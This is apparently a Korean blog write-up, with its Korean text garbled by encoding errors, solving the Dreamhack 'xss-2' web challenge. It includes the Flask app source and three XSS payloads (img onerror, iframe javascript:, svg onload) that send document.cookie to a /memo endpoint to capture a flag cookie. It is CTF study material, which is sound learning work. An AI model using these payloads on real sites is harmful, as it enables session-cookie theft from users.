๐๏ธAccess
์ฌ๋ฌ ๊ธฐ๋ฅ๊ณผ ์ ๋ ฅ ๋ฐ์ URL์ ํ์ธํ๋ ๋ด์ด ๊ตฌํ๋ ์๋น์ค์ด๋ค. XSS ์ทจ์ฝ์ ์ ์ด์ฉํด ํ๋๊ทธ๋ฅผ ํ๋. ํ๋๊ทธ๋ flag.txt, FLAG ๋ณ์์ ์๋ค
๐พExploit Algorithm & Payload
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
#1
#xss-1
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
#xss-2
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
: '/vuln' ํ์ด์ง์ url ๋ถ๋ถ์ /vuln?param=<script>alert(1)</script>์ ์คํฌ๋ฆฝํธ ๋ฌธ์ด ๋์ํ์ง ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ์ฆ, “vuln.html์ด๋ผ๋ ์ฐ๋๋๋ ํ์ผ์์ ’<script>’๋ผ๋ ํ๊ทธ๊ฐ ํํฐ๋ง ๋์ด ์์ ์ ์๊ฒ ๋ค”๋ผ๊ณ ์ถ์ธกํ๋ค.
#2
#a ํ๊ทธ
<a href="http:www.naver.com">xss</a>
#iframe ํ๊ทธ
<iframe src="https://www.naver.com" height=100 weight=100>
#img ํ๊ทธ
<img src="https://www.naver.com">
: ‘/vuln?param=’์ url์ ๋ค์ํ ํ๊ทธ๋ฅผ ๋ฃ์ด ๋ณธ ๊ฒฐ๊ณผ ๋ช๊ฐ์ง ํ๊ทธ๋ค์ด ๋์๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
: ๋ฐ๋ผ์ xss์ทจ์ฝ์ ์ ์ฐํ์์ผ ๋์์ํฌ ์ ์๊ฒ ๋ค๊ณ ํ๋จํ๋ค. (xssํํฐ๋ง ๋ฏธํก์ผ๋ก ์ธํ ์ฐํ ๊ณต๊ฒฉ ๊ฐ๋ฅ)
#3
<img src="test" onerror="location.href='http://127.0.0.1:8000/memo?memo='+document.cookie">
<iframe src="javascript:location.href='http://127.0.0.1:8000/memo?memo='+document.cookie">
<svg onload="location.href='http://127.0.0.1:8000/memo?memo='+document.cookie">
: ์ด๊ฒ ์ด์ธ์๋ ๋ค์ํ ์ต์คํ๋ก์์ด ๊ฐ๋ฅํ๋ค.(Unicode escape sequence ์ด์ฉํ ์ฐํ, Computed member access ์ฌ์ฉ, javascript ์คํค๋ง ์ ์ฉ, ...)
๐Analysis and results for obtaining the Flag DH{…}
๐Summary
xss(Stored, Reflected, Dom)์ทจ์ฝ์ ์ ์น ์ ํ๋ฆฌ์ผ์ด์ ๋ณ ํน์๋ฌธ์ ๋ฐ ์ด๋ฒคํธ ํธ๋ค๋ฌ ํํฐ๋ง์ ๋ช ํํ ํด์ฃผ๋ ๊ฒ์ด ์ค์ํ๊ณ , ์ฌ๋ฌ๊ฐ์ง xss ์ฐํ๊ธฐ๋ฒ๋ค๋ ํ์ธํ์ฌ ์ ์ฉ ํ์
- ํ์ดํธ ๊ธฐ๋ฐ : ํน์ ํ๊ทธ๋ง ์ฌ์ฉํ๊ฒ ๋ค๋ ์๋ฏธ(์ฐํ๊ฐ ์ด๋ ต์ง๋ง ํ์ฉํ ๋ ๋ฌธ์ ๋ฐ์ํ ๊ฒ ๊ฐ์)
- ๋ธ๋๋ฆฌ์คํธ ๊ธฐ๋ฐ : ํน์ ํ๊ทธ๋ง ํํฐ๋ง ํ๋ค๋ ์๋ฏธ(script๋ผ๋ ํ๊ทธ๋ฅผ ๋ง์์ผ๊ฒ ๋ค!๋ผ๊ณ ํ๋ฉด ๊ทธ๊ฒ๋ง ๋ง์์ง)
'[Dreamhack]WebHacking > ๋ก๋๋งต_Basic' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level1: csrf-2 (0) | 2023.08.21 |
---|---|
[Dreamhack] Level1: csrf-1 (0) | 2023.08.21 |
[Dreamhack] Level1: xss-1 (0) | 2023.08.19 |
[Dreamhack] Level1: Session-basic (0) | 2023.08.17 |
[Dreamhack] Level1: cookie (0) | 2023.08.17 |